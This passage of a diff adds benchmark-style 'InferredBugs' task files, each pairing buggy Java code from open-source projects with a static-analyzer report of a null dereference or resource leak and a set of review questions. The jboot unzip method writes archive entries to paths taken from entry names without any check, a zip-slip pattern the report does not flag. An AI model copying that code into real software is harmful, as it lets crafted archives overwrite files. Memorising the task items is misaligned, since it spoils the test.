+        localTracer = LocalTracer
+                .builder(localTracer)
+                .traceSampler(Sampler.create(0.0f)).build();
+
+        assertNull(localTracer.startNewSpan(COMPONENT_NAME, OPERATION_NAME));
+    }
+
+    /**
+     * When finish is called without a duration, the startTick from start is used in duration calculation.
+     * <p>
+     * <p/>Ex.
+     * <pre>
+     * localTracer.startSpan(component, operation); // internally nanos is recorded with system time.
+     * ...
+     * localTracer.finishSpan(); // above nanos is used to make a precise duration
+     * </pre>
+     */
+    @Test
+    public void finishSpan() {
+        Span finished = new Span().setTimestamp(1000L); // set in start span
+        finished.startTick = 500000L; // set in start span
+        state.setCurrentLocalSpan(finished);
+
+        PowerMockito.when(System.nanoTime()).thenReturn(1000000L);
+
+        localTracer.finishSpan();
+
+        verify(mockCollector).collect(finished);
+        verifyNoMoreInteractions(mockCollector);
+
+        assertEquals(500L, finished.getDuration().longValue());
+    }
+
+    /** Duration of less than one microsecond is confusing to plot and could coerce to null. */
+    @Test
+    public void finishSpan_lessThanMicrosRoundUp() {
+        Span finished = new Span().setTimestamp(1000L); // set in start span
+        finished.startTick = 500L; // set in start span
+        state.setCurrentLocalSpan(finished);
+
+        PowerMockito.when(System.nanoTime()).thenReturn(1000L);
+
+        localTracer.finishSpan();
+
+        verify(mockCollector).collect(finished);
+        verifyNoMoreInteractions(mockCollector);
+
+        assertEquals(1L, finished.getDuration().longValue());
+    }
+
+    /**
+     * When a span is started with a timestamp, nanos aren't known, so duration calculation falls back to system time.
+     * <p>
+     * <p/>Ex.
+     * <pre>
+     * localTracer.startSpan(component, operation, startTime); // no tick was recorded
+     * ...
+     * localTracer.finishSpan(); // can't know which nanos startTime was associated with!
+     * </pre>
+     */
+    @Test
+    public void finishSpan_userSuppliedTimestamp() {
+        Span finished = new Span().setTimestamp(1000L); // Set by user
+        state.setCurrentLocalSpan(finished);
+
+        PowerMockito.when(System.currentTimeMillis()).thenReturn(2L);
+
+        localTracer.finishSpan();
+
+        verify(mockCollector).collect(finished);
+        verifyNoMoreInteractions(mockCollector);
+
+        assertEquals(1000L, finished.getDuration().longValue());
+    }
+
+    /**
+     * When a local span completes with a user supplied duration, startTick is ignored.
+     * <p>
+     * <p/>Ex.
+     * <pre>
+     * localTracer.startSpan(component, operation); // startTick was recorded, but ignored
+     * ...
+     * localTracer.finishSpan(duration); // user calculated duration out-of-band, ex with a stop watch.
+     * </pre>
+     */
+    @Test
+    public void finishSpan_userSuppliedDuration() {
+        Span finished = new Span().setTimestamp(1000L); // set in start span
+        finished.startTick = 500L; // set in start span
+        state.setCurrentLocalSpan(finished);
+
+        localTracer.finishSpan(500L);
+
+        verify(mockCollector).collect(finished);
+        verifyNoMoreInteractions(mockCollector);
+
+        assertEquals(500L, finished.getDuration().longValue());
+    }
+
+    /**
+     * When a span starts and finishes with user-supplied timestamp and duration, nanotime is used
+     * <p>
+     * <p/>Ex.
+     * <pre>
+     * localTracer.startSpan(component, operation, startTime); // startTick was recorded
+     * ...
+     * localTracer.finishSpan(duration); // nanoTime - startTick = duration
+     * </pre>
+     */
+    @Test
+    public void finishSpan_userSuppliedTimestampAndDuration() {
+        Span finished = new Span().setTimestamp(1000L); // Set by user
+        state.setCurrentLocalSpan(finished);
+
+        localTracer.finishSpan(500L);
+
+        verify(mockCollector).collect(finished);
+        verifyNoMoreInteractions(mockCollector);
+
+        assertEquals(500L, finished.getDuration().longValue());
+    }
+
+    @Test
+    public void finishSpan_unsampled() {
+        state.setCurrentLocalSpan(null);
+
+        localTracer.finishSpan();
+
+        verifyNoMoreInteractions(mockCollector);
+    }
+
+    @Test
+    public void finishSpan_unsampled_userSuppliedDuration() {
+        state.setCurrentLocalSpan(null);
+
+        localTracer.finishSpan(5000L);
+
+        verifyNoMoreInteractions(mockCollector);
+    }
+
+    @Test
+    public void startSpan_with_inheritable_nested_local_spans() {
+        state = new InheritableServerClientAndLocalSpanState(Endpoint.create("test-service", 127 << 24 | 1));
+        localTracer = LocalTracer
+                .builder(localTracer)
+                .spanAndEndpoint(SpanAndEndpoint.LocalSpanAndEndpoint.create(state))
+                .allowNestedLocalSpans(true)
+                .build();
+
+        assertNull(localTracer.getNewSpanParent());
+        state.setCurrentServerSpan(ServerSpan.create(PARENT_TRACE_ID, PARENT_SPAN_ID, null, "name"));
+
+        SpanId span1 = localTracer.startNewSpan(COMPONENT_NAME, OPERATION_NAME);
+        assertEquals(SpanId.builder().traceId(PARENT_TRACE_ID).spanId(555L).parentId(PARENT_SPAN_ID).build(), span1);
+        assertEquals(span1.spanId, localTracer.getNewSpanParent().getId());
+
+        SpanId span2 = localTracer.startNewSpan(COMPONENT_NAME, OPERATION_NAME);
+        assertEquals(SpanId.builder().traceId(PARENT_TRACE_ID).spanId(555L).parentId(span1.spanId).build(), span2);
+        assertEquals(span2.spanId, localTracer.getNewSpanParent().getId());
+
+        assertEquals(span2.spanId, state.getCurrentLocalSpan().getId());
+        localTracer.finishSpan();
+        assertEquals(span1.spanId, state.getCurrentLocalSpan().getId());
+        localTracer.finishSpan();
+        assertNull(state.getCurrentLocalSpan());
+    }
+
+    @Test
+    public void startSpan_nested_local_spans_disabled() {
+        state = new InheritableServerClientAndLocalSpanState(Endpoint.create("test-service", 127 << 24 | 1));
+        localTracer = LocalTracer
+                .builder(localTracer)
+                .spanAndEndpoint(SpanAndEndpoint.LocalSpanAndEndpoint.create(state))
+                .allowNestedLocalSpans(false)
+                .build();
+
+        assertNull(localTracer.getNewSpanParent());
+        final ServerSpan serverSpan = ServerSpan.create(PARENT_TRACE_ID, PARENT_SPAN_ID, null, "name");
+        state.setCurrentServerSpan(serverSpan);
+
+        SpanId span1 = localTracer.startNewSpan(COMPONENT_NAME, OPERATION_NAME);
+        assertEquals(SpanId.builder().traceId(PARENT_TRACE_ID).spanId(555L).parentId(PARENT_SPAN_ID).build(), span1);
+        assertEquals(serverSpan.getSpan(), localTracer.getNewSpanParent());
+
+        SpanId span2 = localTracer.startNewSpan(COMPONENT_NAME, OPERATION_NAME);
+        assertEquals(SpanId.builder().traceId(PARENT_TRACE_ID).spanId(555L).parentId(PARENT_SPAN_ID).build(), span2);
+        assertEquals(serverSpan.getSpan(), localTracer.getNewSpanParent());
+
+        assertEquals(span2.spanId, state.getCurrentLocalSpan().getId());
+        localTracer.finishSpan();
+        assertEquals(span1.spanId, state.getCurrentLocalSpan().getId());
+        localTracer.finishSpan();
+        assertNull(state.getCurrentLocalSpan());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `finished.getDuration()` could be null and is dereferenced at line 186.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void LocalTracerTest.finishSpan_userSuppliedTimestamp()
+
+### Procedure Id:
+com.github.kristofa.brave.LocalTracerTest.finishSpan_userSuppliedTimestamp():void.e65bb70c22e84ce0ef7bd330aee526d5
+
+### File:
+brave-core/src/test/java/com/github/kristofa/brave/LocalTracerTest.java
+
+### Key:
+LocalTracerTest.java|finishSpan_userSuppliedTimestamp|NULL_DEREFERENCE
+
+### Node Key:
+aa66545b443e053e1949db82c636558b
+
+### Hash:
+5ae91cac0db2dfa12054c61811e25d6a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6869/instruction.md b/inferredbugs-6869/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4960b0b9bcc011eb91ac889659fa52c00b5c8052
--- /dev/null
+++ b/inferredbugs-6869/instruction.md
@@ -0,0 +1,127 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** brave
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.github.kristofa.brave;
+
+import java.util.concurrent.Callable;
+
+import com.github.kristofa.brave.internal.Nullable;
+import com.google.auto.value.AutoValue;
+
+/**
+ * Callable implementation that wraps another Callable and makes sure the wrapped Callable will be executed in the same
+ * Span/Trace context as the thread from which the Callable was executed.
+ * <p/>
+ * Is used by {@link BraveExecutorService}.
+ * 
+ * @author kristof
+ * @param <T> Return type.
+ * @see BraveExecutorService
+ */
+@AutoValue
+public abstract class BraveCallable<T> implements Callable<T> {
+
+    /**
+     * Creates a new instance.
+     *
+     * @param wrappedCallable The wrapped Callable.
+     * @param serverSpanThreadBinder ServerSpan thread binder.
+     */
+    public static <T> BraveCallable<T> create(Callable<T> wrappedCallable, ServerSpanThreadBinder serverSpanThreadBinder) {
+        return new AutoValue_BraveCallable<T>(wrappedCallable, serverSpanThreadBinder, serverSpanThreadBinder.getCurrentServerSpan());
+    }
+
+    abstract Callable<T> wrappedCallable();
+    abstract ServerSpanThreadBinder serverSpanThreadBinder();
+    @Nullable
+    abstract ServerSpan currentServerSpan();
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public T call() throws Exception {
+        serverSpanThreadBinder().setCurrentSpan(currentServerSpan());
+        final long start = System.currentTimeMillis();
+        try {
+            return wrappedCallable().call();
+        } finally {
+            final long duration = System.currentTimeMillis() - start;
+            currentServerSpan().incThreadDuration(duration);
+        }
+    }
+
+    BraveCallable() {
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `currentServerSpan()`  at line 47.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object BraveCallable.call()
+
+### Procedure Id:
+com.github.kristofa.brave.BraveCallable.call():java.lang.Object.328271754033364cf7dcc007ef14eebc
+
+### File:
+brave-core/src/main/java/com/github/kristofa/brave/BraveCallable.java
+
+### Key:
+BraveCallable.java|call|NULL_DEREFERENCE
+
+### Node Key:
+471a2edb901e769be3ae46e5651fb0cc
+
+### Hash:
+ddff594af07762a63b1c2216bae6d1c6
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6893/instruction.md b/inferredbugs-6893/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8f5b5bb2db2296b7b50f4f296dbc9267da27b15a
--- /dev/null
+++ b/inferredbugs-6893/instruction.md
@@ -0,0 +1,227 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** openpojo
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2010-2015 Osman Shoukry
+ *
+ *    This program is free software: you can redistribute it and/or modify
+ *    it under the terms of the GNU Lesser General Public License as published by
+ *    the Free Software Foundation, either version 3 of the License or any
+ *    later version.
+ *
+ *    This program is distributed in the hope that it will be useful,
+ *    but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *    GNU Lesser General Public License for more details.
+ *
+ *    You should have received a copy of the GNU Lesser General Public License
+ *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package com.openpojo.random.impl;
+
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.util.Arrays;
+import java.util.Calendar;
+import java.util.Collection;
+import java.util.Date;
+import java.util.Random;
+
+import com.openpojo.random.RandomFactory;
+import com.openpojo.random.RandomGenerator;
+
+/**
+ * This is the most basic random generator, it handles all basic java types (20 in total).<br>
+ * <strong>Namely:</strong><br>
+ *  1. boolean & Boolean<br>
+ *  2. int & Integer <br>
+ *  3. float & Float <br>
+ *  4. double & Double <br>
+ *  5. long & Long <br>
+ *  6. short & Short <br>
+ *  7. byte & Byte <br>
+ *  8. char & Character <br>
+ *  9. String <br>
+ * 10. Date<br>
+ * 11. Calendar<br>
+ * 12. java.math.BigDecimal <br>
+ * 13. java.math.BigInteger <br>
+ * <br>
+ * You can overwrite any of those types with your own generator and register it with the RandomFactory. <br>
+ * <strong>Note:</strong><br>
+ * 1. char & Character random generation is <i>currently</i> limited to the following set of
+ * characters A-Z, a-z and 0-9. <br>
+ * 2. String random generation relies on the Character random generation, all strings are generated as random sequence
+ * of characters with length between 1 and 32 inclusive. So If you over-write the Character generator,
+ * you will implicitly be modifying the types of character the random characters a random String is made of.
+ *
+ * @author oshoukry
+ */
+public final class BasicRandomGenerator implements RandomGenerator {
+    private static final Random RANDOM = new Random(new Date().getTime());
+    private static final int MAX_RANDOM_STRING_LENGTH = 32;
+
+    private BasicRandomGenerator() {
+
+    }
+
+    public static RandomGenerator getInstance() {
+        return Instance.INSTANCE;
+    }
+
+    private static final Class<?>[] TYPES = new Class<?>[]{ boolean.class, Boolean.class, int.class, Integer.class,
+            float.class, Float.class, double.class, Double.class, long.class, Long.class, short.class, Short.class,
+            byte.class, Byte.class, char.class, Character.class, String.class, Date.class, Calendar.class, BigDecimal.class,
+            BigInteger.class };
+
+    private static final char[] CHARACTERS = new char[]{ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
+            'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g',
+            'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1',
+            '2', '3', '4', '5', '6', '7', '8', '9' };
+
+    public Object doGenerate(final Class<?> type) {
+        if (type == boolean.class || type == Boolean.class) {
+            return RANDOM.nextBoolean();
+        }
+
+        if (type == int.class || type == Integer.class) {
+            return RANDOM.nextInt();
+        }
+
+        if (type == BigInteger.class) {
+            return BigInteger.valueOf(RANDOM.nextLong());
+        }
+
+        if (type == float.class || type == Float.class) {
+            return RANDOM.nextFloat();
+        }
+
+        if (type == double.class || type == Double.class) {
+            return RANDOM.nextDouble();
+        }
+
+        if (type == BigDecimal.class) {
+            return BigDecimal.valueOf(RANDOM.nextDouble());
+        }
+
+        if (type == long.class || type == Long.class) {
+            return RANDOM.nextLong();
+        }
+
+        if (type == short.class || type == Short.class) {
+            return (short) (RANDOM.nextInt(Short.MAX_VALUE + 1) * (RANDOM.nextBoolean() ? 1 : -1));
+        }
+
+        if (type == byte.class || type == Byte.class) {
+            final byte[] randombyte = new byte[1];
+            RANDOM.nextBytes(randombyte);
+            return randombyte[0];
+        }
+
+        if (type == char.class || type == Character.class) {
+            return CHARACTERS[RANDOM.nextInt(CHARACTERS.length)];
+        }
+
+        if (type == String.class) {
+            String randomString = "";
+
+            /* prevent zero length string lengths */
+            for (int count = 0; count < RANDOM.nextInt(MAX_RANDOM_STRING_LENGTH + 1) + 1; count++) {
+                randomString += RandomFactory.getRandomValue(Character.class);
+            }
+            return randomString;
+        }
+
+        if (type == Date.class) {
+            return new Date(RandomFactory.getRandomValue(Long.class));
+        }
+
+        if (type == Calendar.class) {
+            final Calendar calendar = Calendar.getInstance();
+            calendar.setTimeInMillis(RandomFactory.getRandomValue(Long.class));
+            return calendar;
+        }
+
+        return null;
+    }
+
+    public Collection<Class<?>> getTypes() {
+        return Arrays.asList(TYPES);
+    }
+
+    private static class Instance {
+        private static final RandomGenerator INSTANCE = new BasicRandomGenerator();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getRandomValue(java.lang.Long)` could be null and is dereferenced at line 134.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object BasicRandomGenerator.doGenerate(Class)
+
+### Procedure Id:
+com.openpojo.random.impl.BasicRandomGenerator.doGenerate(java.lang.Class):java.lang.Object.fa2f088e9087e5e854c279bdf26982f2
+
+### File:
+src/main/java/com/openpojo/random/impl/BasicRandomGenerator.java
+
+### Key:
+BasicRandomGenerator.java|doGenerate|NULL_DEREFERENCE
+
+### Node Key:
+2ac7bddff590d88d7a98b73e82eb1263
+
+### Hash:
+275cf54c064961febd8e76165b846a2b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6894/instruction.md b/inferredbugs-6894/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..34f90fe97563a59a4fd9ee15faf317423a5744d6
--- /dev/null
+++ b/inferredbugs-6894/instruction.md
@@ -0,0 +1,203 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** openpojo
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (C) 2010 Osman Shoukry
+ *
+ *   This program is free software: you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation, either version 3 of the License, or
+ *   (at your option) any later version.
+ *
+ *   This program is distributed in the hope that it will be useful,
+ *   but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *   GNU General Public License for more details.
+ *
+ *   You should have received a copy of the GNU General Public License
+ *   along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package com.openpojo.reflection.impl;
+
+import java.io.File;
+import java.lang.annotation.Annotation;
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
+
+import com.openpojo.reflection.PojoClass;
+import com.openpojo.reflection.PojoClassFilter;
+import com.openpojo.reflection.PojoPackage;
+import com.openpojo.reflection.exception.ReflectionException;
+import com.openpojo.reflection.utils.PackageHelper;
+
+/**
+ * This class represents the abstraction of a JAVA Package as PojoPackageImpl.
+ *
+ * @author oshoukry
+ */
+class PojoPackageImpl implements PojoPackage {
+
+    private final String packageName;
+    private final PojoClass packageInfoPojoClass;
+
+    public String getName() {
+        return packageName;
+    }
+
+    public PojoPackageImpl(final String packageName) {
+
+        this.packageName = packageName;
+        if (packageName == null) {
+            throw new IllegalArgumentException("PackageName can not be null");
+        }
+
+        validatePackage();
+
+        Class<?> infoClass = null;
+        try {
+            infoClass = Class.forName(packageName + PojoPackage.PACKAGE_DELIMETER + PojoPackage.PACKAGE_INFO);
+        } catch (ClassNotFoundException e) {
+        }
+        if (infoClass != null) {
+            packageInfoPojoClass = PojoClassFactory.getPojoClass(infoClass);
+        } else {
+            packageInfoPojoClass = null;
+        }
+    }
+
+    private void validatePackage() {
+        File packageDirectory;
+        try {
+            packageDirectory = PackageHelper.getPackageAsDirectory(packageName);
+        } catch (ReflectionException re) {
+            throw re;
+        }
+        if (packageDirectory == null || !packageDirectory.exists()) {
+            throw ReflectionException.getInstance(String.format("[%s] is not a valid package", packageName));
+        }
+    }
+
+    public List<PojoClass> getPojoClasses() {
+        return getPojoClasses(null);
+    }
+
+    public List<PojoClass> getPojoClasses(final PojoClassFilter filter) {
+        List<PojoClass> pojoClasses = new LinkedList<PojoClass>();
+
+        for (Class<?> clazz : PackageHelper.getClasses(packageName)) {
+            PojoClass pojoClass = PojoClassFactory.getPojoClass(clazz);
+            if (filter == null || filter.include(pojoClass)) {
+                pojoClasses.add(pojoClass);
+            }
+        }
+
+        return pojoClasses;
+    }
+
+    public List<PojoPackage> getPojoSubPackages() {
+        List<PojoPackage> pojoPackageSubPackages = new LinkedList<PojoPackage>();
+
+        File directory = PackageHelper.getPackageAsDirectory(packageName);
+        for (File entry : directory.listFiles()) {
+            if (entry.isDirectory()) {
+                String subPackageName = packageName + PACKAGE_DELIMETER + entry.getName();
+                pojoPackageSubPackages.add(new PojoPackageImpl(subPackageName));
+            }
+        }
+
+        return pojoPackageSubPackages;
+    }
+
+    public <T extends Annotation> T getAnnotation(final Class<T> annotationClass) {
+        if (packageInfoPojoClass == null) {
+            return null;
+        }
+        return packageInfoPojoClass.getAnnotation(annotationClass);
+    }
+
+    public List<? extends Annotation> getAnnotations() {
+        if (packageInfoPojoClass == null) {
+            return Collections.emptyList();
+        }
+        return packageInfoPojoClass.getAnnotations();
+    }
+
+    @Override
+    public String toString() {
+        return String.format("PojoPackageImpl [packageName=%s]", packageName);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `directory.listFiles()` could be null and is dereferenced at line 100.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+List PojoPackageImpl.getPojoSubPackages()
+
+### Procedure Id:
+com.openpojo.reflection.impl.PojoPackageImpl.getPojoSubPackages():java.util.List.660140134a5e52d64d29a2ca341e0d4d
+
+### File:
+src/main/java/com/openpojo/reflection/impl/PojoPackageImpl.java
+
+### Key:
+PojoPackageImpl.java|getPojoSubPackages|NULL_DEREFERENCE
+
+### Node Key:
+24ee14a57e8a90ab88fc833015223ecd
+
+### Hash:
+2d7477d9fc2f3903c2ce67215f6f046e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6948/instruction.md b/inferredbugs-6948/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..304eaf1e7b9b1b7ebac13decb5c8e9dc0aaa637f
--- /dev/null
+++ b/inferredbugs-6948/instruction.md
@@ -0,0 +1,206 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jboot
+**Bug ID:** 48
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (c) 2015-2019, Michael Yang 杨福海 (fuhai999@gmail.com).
+ * <p>
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * <p>
+ *  http://www.apache.org/licenses/LICENSE-2.0
+ * <p>
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package io.jboot.utils;
+
+import com.jfinal.core.JFinal;
+import com.jfinal.kit.PathKit;
+
+import java.io.*;
+import java.util.Enumeration;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipFile;
+
+
+public class FileUtil {
+
+	public static String getSuffix(String fileName) {
+		if (fileName != null && fileName.contains(".")) {
+			return fileName.substring(fileName.lastIndexOf("."));
+		}
+		return null;
+	}
+	
+	
+	public static String removePrefix(String src, String prefix) {
+		if (src != null && src.startsWith(prefix)) {
+			return src.substring(prefix.length());
+		}
+		return src;
+	}
+	
+	
+	public static String removeRootPath(String src){
+		return removePrefix(src, PathKit.getWebRootPath());
+	}
+
+	public static String readString(File file) {
+		ByteArrayOutputStream baos = null;
+		FileInputStream fis = null;
+		try {
+			fis = new FileInputStream(file);
+			baos = new ByteArrayOutputStream();
+			byte[] buffer = new byte[1024];
+			for (int len = 0; (len = fis.read(buffer)) > 0;) {
+				baos.write(buffer, 0, len);
+			}
+			return new String(baos.toByteArray(), JFinal.me().getConstants().getEncoding());
+		} catch (Exception e) {
+		} finally {
+			close(fis, baos);
+		}
+		return null;
+	}
+
+	public static void writeString(File file, String string) {
+		FileOutputStream fos = null;
+		try {
+			fos = new FileOutputStream(file, false);
+			fos.write(string.getBytes(JFinal.me().getConstants().getEncoding()));
+		} catch (Exception e) {
+		} finally {
+			close(null, fos);
+		}
+	}
+
+	private static void close(InputStream is, OutputStream os) {
+		if (is != null)
+			try {
+				is.close();
+			} catch (IOException e) {
+			}
+		if (os != null)
+			try {
+				os.close();
+			} catch (IOException e) {
+			}
+	}
+
+	public static void unzip(String zipFilePath) throws IOException {
+		String targetPath = zipFilePath.substring(0, zipFilePath.lastIndexOf("."));
+		unzip(zipFilePath, targetPath);
+	}
+
+	public static void unzip(String zipFilePath, String targetPath) throws IOException {
+		ZipFile zipFile = new ZipFile(zipFilePath);
+		try{
+			Enumeration<?> entryEnum = zipFile.entries();
+			if (null != entryEnum) {
+				while (entryEnum.hasMoreElements()) {
+					OutputStream os = null;
+					InputStream is = null;
+					try {
+						ZipEntry zipEntry = (ZipEntry) entryEnum.nextElement();
+						if (!zipEntry.isDirectory()) {
+							File targetFile = new File(targetPath + File.separator + zipEntry.getName());
+							if (!targetFile.getParentFile().exists()) {
+								targetFile.getParentFile().mkdirs();
+							}
+							os = new BufferedOutputStream(new FileOutputStream(targetFile));
+							is = zipFile.getInputStream(zipEntry);
+							byte[] buffer = new byte[4096];
+							int readLen = 0;
+							while ((readLen = is.read(buffer, 0, 4096)) > 0) {
+								os.write(buffer, 0, readLen);
+							}
+						}
+					} finally {
+						if (is != null)
+							is.close();
+						if (os != null)
+							os.close();
+					}
+				}
+			}
+		}finally{
+			zipFile.close();
+		}
+	}
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileOutputStream` acquired by call to `FileOutputStream(...)` at line 111 is not released after line 128.
+**Note**: potential exception at line 115
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void FileUtil.unzip(String,String)
+
+### Procedure Id:
+io.jboot.utils.FileUtil.unzip(java.lang.String,java.lang.String):void.568256d67e6e101f5afe85087353de91
+
+### File:
+src/main/java/io/jboot/utils/FileUtil.java
+
+### Key:
+FileUtil.java|unzip|RESOURCE_LEAK
+
+### Node Key:
+6d15c9608e0b7a140ecfdba5dce92676
+
+### Hash:
+f7024a87613d42ccd71d86f5e3da60dc
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6977/instruction.md b/inferredbugs-6977/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..eb5b1f3d68a5ee22cc4e672b3d701c64a8b228b6
--- /dev/null
+++ b/inferredbugs-6977/instruction.md
@@ -0,0 +1,1465 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** aviator
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+
+/**
+ * Copyright (C) 2010 dennis zhuang (killme2008@gmail.com)
+ *
+ * This library is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU Lesser General Public License as published by the Free Software Foundation; either version
+ * 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public License along with this program;
+ * if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ **/
+package com.googlecode.aviator;
+
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
